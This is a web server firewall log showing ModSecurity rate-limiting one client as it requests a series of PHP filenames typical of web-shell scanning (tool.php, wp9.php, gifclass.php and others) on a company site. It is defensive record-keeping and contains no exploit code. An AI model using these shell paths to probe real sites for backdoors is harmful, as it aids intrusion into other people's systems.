[Tue May 19 12:13:37.617044 2026] [:error] [pid 46815:tid 46832] [client 20.226.17.188:8190] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "agvjcSPnRhJOmA06LgotfAAAAU8"]
[Tue May 19 12:13:38.334326 2026] [:error] [pid 38697:tid 38731] [client 20.226.17.188:16479] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "agvjcqXP9pP6Kgt-msQNKQAAABA"]
[Tue May 19 12:13:38.961850 2026] [:error] [pid 46815:tid 46828] [client 20.226.17.188:4694] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "agvjciPnRhJOmA06LgotgAAAAUs"]
[Tue May 19 12:13:39.593880 2026] [:error] [pid 46815:tid 46824] [client 20.226.17.188:4201] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "agvjcyPnRhJOmA06LgotggAAAUc"]
[Tue May 19 12:13:40.216073 2026] [:error] [pid 46815:tid 46819] [client 20.226.17.188:4202] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "agvjdCPnRhJOmA06LgothAAAAUI"]
[Tue May 19 12:13:40.852927 2026] [:error] [pid 46815:tid 46835] [client 20.226.17.188:25972] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "agvjdCPnRhJOmA06LgothQAAAVI"]
[Tue May 19 12:13:41.499829 2026] [:error] [pid 38699:tid 38763] [client 20.226.17.188:4682] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "agvjdb--Adsw_P-dthZt_AAAAFU"]
[Tue May 19 12:13:42.150992 2026] [:error] [pid 46896:tid 46899] [client 20.226.17.188:20706] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "agvjdqCHyzL3Ci9LGE0swgAAAYE"]
[Tue May 19 12:13:42.775971 2026] [:error] [pid 38699:tid 38762] [client 20.226.17.188:20730] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "agvjdr--Adsw_P-dthZt_gAAAFQ"]
[Tue May 19 12:13:43.398728 2026] [:error] [pid 38705:tid 38791] [client 20.226.17.188:31795] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "agvjd8g5dNOZ5umN9ltDkAAAAJY"]
[Tue May 19 12:13:44.022056 2026] [:error] [pid 46815:tid 46830] [client 20.226.17.188:38898] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "agvjeCPnRhJOmA06LgotigAAAU0"]
[Tue May 19 12:13:44.670402 2026] [:error] [pid 46815:tid 46825] [client 20.226.17.188:20673] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "agvjeCPnRhJOmA06LgotiwAAAUg"]
[Tue May 19 12:13:45.289882 2026] [:error] [pid 46815:tid 46838] [client 20.226.17.188:4617] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "agvjeSPnRhJOmA06LgotjQAAAVU"]
[Tue May 19 12:13:45.913009 2026] [:error] [pid 46815:tid 46826] [client 20.226.17.188:25978] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agvjeSPnRhJOmA06LgotjwAAAUk"]
[Tue May 19 12:13:46.533371 2026] [:error] [pid 46815:tid 46819] [client 20.226.17.188:6208] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agvjeiPnRhJOmA06LgotkgAAAUI"]
[Tue May 19 12:13:47.154686 2026] [:error] [pid 46815:tid 46835] [client 20.226.17.188:28416] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agvjeyPnRhJOmA06LgotlAAAAVI"]
[Tue May 19 12:13:47.772581 2026] [:error] [pid 46896:tid 46910] [client 20.226.17.188:24908] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "agvje6CHyzL3Ci9LGE0swwAAAYw"]
[Tue May 19 12:13:48.395468 2026] [:error] [pid 38705:tid 38769] [client 20.226.17.188:25705] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "agvjfMg5dNOZ5umN9ltDkQAAAIA"]
[Tue May 19 12:13:49.017906 2026] [:error] [pid 38699:tid 38761] [client 20.226.17.188:25667] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "agvjfb--Adsw_P-dthZuIAAAAFM"]
[Tue May 19 12:13:49.646285 2026] [:error] [pid 46815:tid 46830] [client 20.226.17.188:4719] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "agvjfSPnRhJOmA06LgotmwAAAU0"]
[Tue May 19 12:13:50.284435 2026] [:error] [pid 29823:tid 29852] [client 20.226.17.188:28677] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "agvjfmO09C0nAz8vRk4PQwAAAc0"]
[Tue May 19 12:13:50.948260 2026] [:error] [pid 38814:tid 38840] [client 20.226.17.188:24943] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5b9ac.php"] [unique_id "agvjfgvkKuBwP0epzWd17wAAANg"]
[Tue May 19 12:13:51.567483 2026] [:error] [pid 46896:tid 46905] [client 20.226.17.188:22238] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5b9ac.php"] [unique_id "agvjf6CHyzL3Ci9LGE0s6AAAAYc"]
[Tue May 19 12:13:52.195432 2026] [:error] [pid 46896:tid 46915] [client 20.226.17.188:28675] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5b9ac.php"] [unique_id "agvjgKCHyzL3Ci9LGE0s8QAAAZE"]
[Tue May 19 12:13:52.819738 2026] [:error] [pid 46815:tid 46838] [client 20.226.17.188:22243] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5b9ac.php"] [unique_id "agvjgCPnRhJOmA06LgotsAAAAVU"]
[Tue May 19 12:13:53.445434 2026] [:error] [pid 46815:tid 46821] [client 20.226.17.188:34560] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "agvjgSPnRhJOmA06LgotswAAAUQ"]
[Tue May 19 12:13:54.070295 2026] [:error] [pid 38697:tid 38725] [client 20.226.17.188:25694] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "agvjgqXP9pP6Kgt-msQNVQAAAAo"]
[Tue May 19 12:13:54.689568 2026] [:error] [pid 46896:tid 46913] [client 20.226.17.188:34598] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "agvjgqCHyzL3Ci9LGE0tBwAAAY8"]
[Tue May 19 12:13:55.315323 2026] [:error] [pid 46815:tid 46830] [client 20.226.17.188:28443] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "agvjgyPnRhJOmA06LgotuwAAAU0"]
[Tue May 19 12:13:55.936117 2026] [:error] [pid 46896:tid 46912] [client 20.226.17.188:33754] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agvjg6CHyzL3Ci9LGE0tEQAAAY4"]
[Tue May 19 12:13:56.555749 2026] [:error] [pid 38814:tid 38819] [client 20.226.17.188:24923] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agvjhAvkKuBwP0epzWd18AAAAMM"]
[Tue May 19 12:13:57.174027 2026] [:error] [pid 38697:tid 38727] [client 20.226.17.188:34420] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agvjhaXP9pP6Kgt-msQNWAAAAAw"]
[Tue May 19 12:13:57.805418 2026] [:error] [pid 38697:tid 38730] [client 20.226.17.188:33776] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agvjhaXP9pP6Kgt-msQNWQAAAA8"]
[Tue May 19 12:13:58.422980 2026] [:error] [pid 38705:tid 38790] [client 20.226.17.188:28418] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "agvjhsg5dNOZ5umN9ltDmQAAAJU"]
[Tue May 19 12:13:59.047172 2026] [:error] [pid 46815:tid 46826] [client 20.226.17.188:38932] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "agvjhyPnRhJOmA06LgotvgAAAUk"]
[Tue May 19 12:13:59.696863 2026] [:error] [pid 38697:tid 38735] [client 20.226.17.188:34568] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "agvjh6XP9pP6Kgt-msQNWgAAABQ"]
[Tue May 19 12:14:00.316406 2026] [:error] [pid 38814:tid 38834] [client 20.226.17.188:4113] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "agvjiAvkKuBwP0epzWd18gAAANI"]
[Tue May 19 12:14:00.943066 2026] [:error] [pid 29823:tid 29839] [client 20.226.17.188:34345] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agvjiGO09C0nAz8vRk4PUAAAAcQ"]
[Tue May 19 12:14:01.577833 2026] [:error] [pid 46815:tid 46820] [client 20.226.17.188:2026] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agvjiSPnRhJOmA06LgotwwAAAUM"]
[Tue May 19 12:14:02.202916 2026] [:error] [pid 46896:tid 46912] [client 20.226.17.188:22271] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agvjiqCHyzL3Ci9LGE0tJQAAAY4"]
[Tue May 19 12:14:02.837642 2026] [:error] [pid 46896:tid 46906] [client 20.226.17.188:24912] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agvjiqCHyzL3Ci9LGE0tKQAAAYg"]
[Tue May 19 12:14:03.453969 2026] [:error] [pid 29823:tid 29837] [client 20.226.17.188:28439] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp5.php"] [unique_id "agvji2O09C0nAz8vRk4PUgAAAcI"]
[Tue May 19 12:14:04.094673 2026] [:error] [pid 46896:tid 46920] [client 20.226.17.188:39184] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp5.php"] [unique_id "agvjjKCHyzL3Ci9LGE0tLAAAAZY"]
[Tue May 19 12:14:04.714532 2026] [:error] [pid 38697:tid 38733] [client 20.226.17.188:28433] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp5.php"] [unique_id "agvjjKXP9pP6Kgt-msQNXwAAABI"]
[Tue May 19 12:14:05.335814 2026] [:error] [pid 38699:tid 38759] [client 20.226.17.188:39204] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp5.php"] [unique_id "agvjjb--Adsw_P-dthZuRAAAAFE"]
[Tue May 19 12:14:05.959680 2026] [:error] [pid 46815:tid 46832] [client 20.226.17.188:38914] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "agvjjSPnRhJOmA06LgotywAAAU8"]
[Tue May 19 12:14:06.581476 2026] [:error] [pid 46815:tid 46822] [client 20.226.17.188:30722] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "agvjjiPnRhJOmA06LgotzQAAAUU"]
[Tue May 19 12:14:07.206836 2026] [:error] [pid 46815:tid 46834] [client 20.226.17.188:1990] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "agvjjyPnRhJOmA06LgotzwAAAVE"]
[Tue May 19 12:14:07.824970 2026] [:error] [pid 38697:tid 38717] [client 20.226.17.188:34584] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "agvjj6XP9pP6Kgt-msQNYAAAAAI"]
[Tue May 19 12:14:08.488464 2026] [:error] [pid 38697:tid 38732] [client 20.226.17.188:7470] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "agvjkKXP9pP6Kgt-msQNYQAAABE"]
[Tue May 19 12:14:09.132291 2026] [:error] [pid 38814:tid 38829] [client 20.226.17.188:28469] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "agvjkQvkKuBwP0epzWd18wAAAM0"]
[Tue May 19 12:14:09.762361 2026] [:error] [pid 46815:tid 46833] [client 20.226.17.188:2027] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "agvjkSPnRhJOmA06Lgot0QAAAVA"]
[Tue May 19 12:14:10.448079 2026] [:error] [pid 38699:tid 38760] [client 20.226.17.188:34611] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "agvjkr--Adsw_P-dthZuRwAAAFI"]
[Tue May 19 12:14:11.196454 2026] [:error] [pid 38697:tid 38734] [client 20.226.17.188:33768] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ajax.php"] [unique_id "agvjk6XP9pP6Kgt-msQNYgAAABM"]
[Tue May 19 12:14:11.833953 2026] [:error] [pid 41573:tid 41593] [client 20.226.17.188:21084] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ajax.php"] [unique_id "agvjky1A2bd6JDSW9RZZAwAAARI"]
[Tue May 19 12:14:25.586305 2026] [:error] [pid 38705:tid 38789] [client 20.226.17.188:34573] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "agvjocg5dNOZ5umN9ltDpgAAAJQ"]
